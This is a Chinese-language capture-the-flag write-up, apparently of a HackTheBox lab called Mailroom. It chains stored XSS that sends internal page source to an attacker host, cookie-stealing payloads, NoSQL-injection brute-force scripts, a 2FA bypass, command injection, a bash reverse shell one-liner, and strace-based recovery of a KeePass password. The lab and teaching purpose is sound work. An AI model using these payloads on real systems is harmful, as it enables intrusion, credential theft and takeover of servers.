查看原文
其他

实战 | 一次利用XSS读取源码

windcctv 乌雲安全 2023-06-04
常规的XSS利用方式主要有窃取cookie、恶意链接、获取键盘记录、网页钓鱼、挂马等等,本次渗透首先通过XSS漏洞,利用XMLRequest发起ajax请求,实现了发起http请求的目的,并且把请求的结果返回了,通过代码审计,打开了突破的口子。后续还运用到了Nosql注入、绕过2FA验证、kdbx文件解密等等技术,渗透过程涉及很多小的知识点,充满乐趣与挑战,下面开始此次渗透之旅。

一、信息收集

nmap -p- --min-rate=1000 -T4 -sC -sV -Pn 10.10.11.209

看来要从80端口的web服务硬着开始了。

目录扫描一波无果,发现还存在子域名;

另外一个子域名的发现是需要考耐心和水平的,(别忘记了查看源码的重要性);

接下来又是常规的对子域名开展一波信息收集,然后就进入漏洞挖掘阶段。

二、漏洞挖掘

1、XSS漏洞

进到web界面各种尝试发现了一个xss,

<script>alert('xss')</script>

并没有过滤,可以成功触发;

第一反应是想到抓cookie,尝试这个payload来获取cookie失败了,什么都没拿到;

<script src="http://10.10.16.5/XSS/getcookie.php?cookie='+document.cookie+'"></script>

后续也尝试了其他利用方法均无果。

2、XMLRequest发起ajax请求

在网上搜索后发现另一种方法,利用xss,最终实现了发起http请求的目的,并且把请求的结果返回了,我也尝试一下;

<script>var fetch_req = new XMLHttpRequest();fetch_req.onreadystatechange = function() { if(fetch_req.readyState == XMLHttpRequest.DONE) { var exfil_req = new XMLHttpRequest(); exfil_req.open("POST", "http://10.10.16.5", false); exfil_req.send("Resp Code: " + fetch_req.status + "\nPage Source:\n" + fetch_req.response); }};fetch_req.open("GET", "http://127.0.0.1//contact.php", false);fetch_req.send();</script>

nc -lvnp 80

成功收到了请求的信息,内容就是contact.php 的内容,也就是意味着我们可以在内网中发起请求。

我们直接在kali本地访问子域名,发现403了。

那么接下来我们尝试使用xss进行请求。

└─# cat pwned.js var http = new XMLHttpRequest();http.open('GET', "http://staff-review-panel.mailroom.htb/index.php", true);http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');http.onload = function () { fetch("http://10.10.16.5/out?" + encodeURI(btoa(this.responseText)));};http.send(null);

Burp报文

POST /contact.php HTTP/1.1Host: mailroom.htbContent-Length: 82Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://mailroom.htbContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36 Edg/112.0.1722.48Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer: http://mailroom.htb/contact.phpAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6Connection: close
email=1%401.com&title=1&message=<script src="http://10.10.16.5/pwned.js"></script>

成功接收回显!!读取到的内容是base64 加密过后的内容。

3、代码审计

对主要的auth.php认证文件进行审计;

<?phprequire 'vendor/autoload.php';
session_start(); // Start a session$client = new MongoDB\Client("mongodb://mongodb:27017"); // Connect to the MongoDB databaseheader('Content-Type: application/json');if (!$client) { header('HTTP/1.1 503 Service Unavailable'); echo json_encode(['success' => false, 'message' => 'Failed to connect to the database']); exit;}$collection = $client->backend_panel->users; // Select the users collection
// Authenticate user & Send 2FA if validif (isset($_POST['email']) && isset($_POST['password'])) {
// Verify the parameters are valid if (!is_string($_POST['email']) || !is_string($_POST['password'])) { header('HTTP/1.1 401 Unauthorized'); echo json_encode(['success' => false, 'message' => 'Invalid input detected']); }
// Check if the email and password are correct $user = $collection->findOne(['email' => $_POST['email'], 'password' => $_POST['password']]);
if ($user) { // Generate a random UUID for the 2FA token $token = bin2hex(random_bytes(16)); $now = time();
// Update the user record in the database with the 2FA token if not already sent in the last minute $user = $collection->findOne(['_id' => $user['_id']]); if(($user['2fa_token'] && ($now - $user['token_creation']) > 60) || !$user['2fa_token']) { $collection->updateOne( ['_id' => $user['_id']], ['$set' => ['2fa_token' => $token, 'token_creation' => $now]] );
// Send an email to the user with the 2FA token $to = $user['email']; $subject = '2FA Token'; $message = 'Click on this link to authenticate: http://staff-review-panel.mailroom.htb/auth.php?token=' . $token; mail($to, $subject, $message); } // Return a JSON response notifying about 2fa echo json_encode(['success' => true, 'message' => 'Check your inbox for an email with your 2FA token']); exit;
} else { // Return a JSON error response header('HTTP/1.1 401 Unauthorized'); echo json_encode(['success' => false, 'message' => 'Invalid email or password']); }}
// Check for invalid parameterselse if (!isset($_GET['token'])) { header('HTTP/1.1 400 Bad Request'); echo json_encode(['success' => false, 'message' => 'Email and password are required']); exit;}
// Check if the form has been submittedelse if (isset($_GET['token'])) { // Verify Token parameter is valid if (!is_string($_GET['token']) || strlen($_GET['token']) !== 32) { header('HTTP/1.1 401 Unauthorized'); echo json_encode(['success' => false, 'message' => 'Invalid input detected']); exit; }
// Check if the token is correct $user = $collection->findOne(['2fa_token' => $_GET['token']]);
if ($user) { // Set the logged_in flag and name in the session $_SESSION['logged_in'] = true; $_SESSION['name'] = explode('@', $user['email'])[0];
// Remove 2FA token since user already used it to log in $collection->updateOne( ['_id' => $user['_id']], ['$unset' => ['2fa_token' => '']] );
// Redirect to dashboard since login was successful header('Location: dashboard.php'); exit; } else { // Return a JSON error response header('HTTP/1.1 401 Unauthorized'); echo json_encode(['success' => false, 'message' => 'Invalid 2FA Login Token']); exit; }}

?>

审计了一下,这个页面的作用是身份认证,正如文件名auth.php 一样 ,首先观察到后端用的数据库为 MongoDB,MongoDB注意会有Nosql注入的情况,然后就是开始身份认证逻辑。

首先检查用户是否通过POST请求发送emali 和 password 字段,在数据库中查找用户按照这个条件,如果找到该用户,那么进入2FA验证逻辑。服务器会发送一封邮件到指定的邮箱中,点击这个邮箱中收到的链接才会在session中存放一个token字段,最后校验这个token正确的话才表示登入成功,token长度为32个字符,且为字符串类型。

这里是存在nosql注入的,有关于nosql注入的知识请自行补充。

在看下inspect.php的源码;

<?phpsession_start(); // Start a session// Check if authorizedif (!isset($_SESSION['logged_in']) || $_SESSION['logged_in'] !== true) { header('Location: index.php'); // The user is NOT logged in, redirect back to the login page exit;}
$data = '';if (isset($_POST['inquiry_id'])) { $inquiryId = preg_replace('/[\$<>;|&{}\(\)\[\]\'\"]/', '', $_POST['inquiry_id']); $contents = shell_exec("cat /var/www/mailroom/inquiries/$inquiryId.html");
// Parse the data between and </p> $start = strpos($contents, '<p class="lead mb-0">'); if ($start === false) { // Data not found $data = 'Inquiry contents parsing failed'; } else { $end = strpos($contents, '</p>', $start); $data = htmlspecialchars(substr($contents, $start + 21, $end - $start - 21)); }}
$status_data = '';if (isset($_POST['status_id'])) { $inquiryId = preg_replace('/[\$<>;|&{}\(\)\[\]\'\"]/', '', $_POST['status_id']); $contents = shell_exec("cat /var/www/mailroom/inquiries/$inquiryId.html");
// Parse the data between and </p> $start = strpos($contents, '<p class="lead mb-1">'); if ($start === false) { // Data not found $status_data = 'Inquiry contents parsing failed'; } else { $end = strpos($contents, '</p>', $start); $status_data = htmlspecialchars(substr($contents, $start + 21, $end - $start - 21)); }}

?>

这个文件带有命令执行!!!shell_exec("cat /var/www/mailroom/inquiries/$inquiryId.html");后续会利用到。

因为网站还部署了git,所以简单介绍下如何发现所有的git用户;

4、Nosql注入

我们看到auth.php中验证是通过 和MongoDB 交互的,我们在这里尝试 nosql

# cat pwnnosql.js
var http = new XMLHttpRequest();http.open('POST', "http://staff-review-panel.mailroom.htb/auth.php", true);http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');http.onload = function () { fetch("http://10.10.16.5/out?" + encodeURI(btoa(this.responseText)));};http.send("email[$ne]=someb0dy@sm.com&password[$ne]=someb0dy");

可以看到我们成功登录了

接下来想办法通过nosql爆破用户名和密码

爆破用户名;

下面的脚本通过递归调用的方式慢慢爆出我们想要的内容

#cat pwnuser.jsasync function callAuth(mail) { var http = new XMLHttpRequest(); http.open('POST', "http://staff-review-panel.mailroom.htb/auth.php", true); http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); http.onload = function () { if (/"success":true/.test(this.responseText)) { notify(mail); cal("0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%'()+, -/:;<=>@[\]_`{}~", mail); } }; http.send("email[$regex]=.*" + mail + "@mailroom.htb&password[$ne]=abc");}function notify(mail) { fetch("http://10.10.16.5/out?" + mail);}var chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%'()+, -/:;<=>@[\]_`{}~";function cal(chars, mail) { for (var i = 0; i < chars.length; i++) { callAuth(chars[i] + mail) }}cal(chars, "");

在burp上 连续发送两个包;

我们可以看到返回了username 末尾的三个字符

那我们修改一下脚本

async function callAuth(mail) { var http = new XMLHttpRequest(); http.open('POST', "http://staff-review-panel.mailroom.htb/auth.php", true); http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); http.onload = function () { if (/"success":true/.test(this.responseText)) { notify(mail); cal("0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%'()+, -/:;<=>@[\]_`{}~", mail); } }; http.send("email[$regex]=.*" + mail + "@mailroom.htb&password[$ne]=abc");}function notify(mail) { fetch("http://10.10.16.5/out?" + mail);}var chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%'()+, -/:;<=>@[\]_`{}~";function cal(chars, mail) { for (var i = 0; i < chars.length; i++) { callAuth(chars[i] + mail) }}cal(chars, "tan");

把cal(chars,"") 修改成 cal(chars,"tan");

继续前面的操作,burpsuite 上发送两个包

可以看到又多爆出了3个email 的字符,一直这样操作直到,直到不再有新的字符生成。

爆破密码,同样的方法;

async function callAuth(pass) { var http = new XMLHttpRequest(); http.open('POST', "http://staff-review-panel.mailroom.htb/auth.php", true); http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); http.onload = function () { if (/"success":true/.test(this.responseText)) { notify(pass); cal("0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#%'()+, -/:;<=>@[\]_`{}~", pass); } }; http.send("email=tristan@mailroom.htb&password[$regex]=^"+pass);}function notify(pass) { fetch("http://10.10.16.5/out?" + pass);}var chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#%'()+, -/:;<=>@[\]_`{}~";function cal(chars, pass) { for (var i = 0; i < chars.length; i++) { callAuth(pass+chars[i]) }}cal(chars, "");

burp点2下;

最终得到用户名和密码,尝试ssh登录,成功登录。

三、提权

1、2FA验证

登录上来后,发现内网中的 staff-review-panel 这个域名我们不能直接访问,通过搭建socks代理或者简单点ssh端口转发;

ssh -L 8080:127.0.0.1:80 tristan@10.10.11.209

尝试登录需要 2FA验证;

我们在/etc/mail/tristan 文件中发现了这个链接;

访问一下,成功进入;

2、RCE

还记得inspect.php是可以执行命令的,在代码中调用了shell_exec,传入参数我们可控,我们在这里尝试;

nc 文件的内容

#!/bin/bash 
bash -i >& /dev/tcp/10.10.16.5/5555 0>&1

远程下载成功后,继续执行反弹命令;

反弹成功;

反弹shell 后 我们参数搜索有 matthew 关键字的文件;

grep "matthew" ./ -r

成功从配置文件中获取到matthew用户的密码。

3、kdbx文件解密

在matthew 目录下发现一个 personal.kdbx 文件,尝试下载;

这种后缀名的文件可以使用keePass软件打开,但是需要key。

pspy 看进进程的时候找到了 kpcli 进程;

通过ps -ef | grep kpcli | grep perl | awk '{print $2} '来找到 kpcli的进程id;

通过 strace -p 来查看系统调用;

因为密码多半是我们从终端输入进去程序的,所以我们查看read的系统调用,之所以寻找调用read(0 的 的信息,0是标准输入流stdin,也就是我们的输入。

在这里\10 模拟了删除的操作,对照 ascii 表 8进制可以看到;

由此可得到密码:!sEcUr3p4$$w0rd9

最后查看root acc 拿到root的密码,就可以顺利切换到root用户。

还有另一种方法;

由此也可以得到root用户的密码。

四、源码分析

源码是在docker里的;

docker exec -it 652cff262922 /bin/bash

tar -zcvf mailroom.tar.gz /var/www/mailroom/

docker cp 652cff262922:/var/www/mailroom.tar.gz  /tmp/mailroom.tar.gz

得到源码后,分析下XSS漏洞形成的原因;

可以控制输入message,并且没有任何过滤;

inquiry_template.html  参数传递到了前端网页;这2处其实都存在xss漏洞;

实测的效果;

最后总结下本次渗透的流程;

信息收集子域名--->通过xss读取源码--->代码审计--->nosql注入--->拿到用户1的ssh密码--->绕过2FA验证--->RCE--->寻找敏感信息--->成功拿到用户2的凭证--->kdbx文件解密--->root

‍本文作者:windcctv, 转自FreeBuf.COM

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存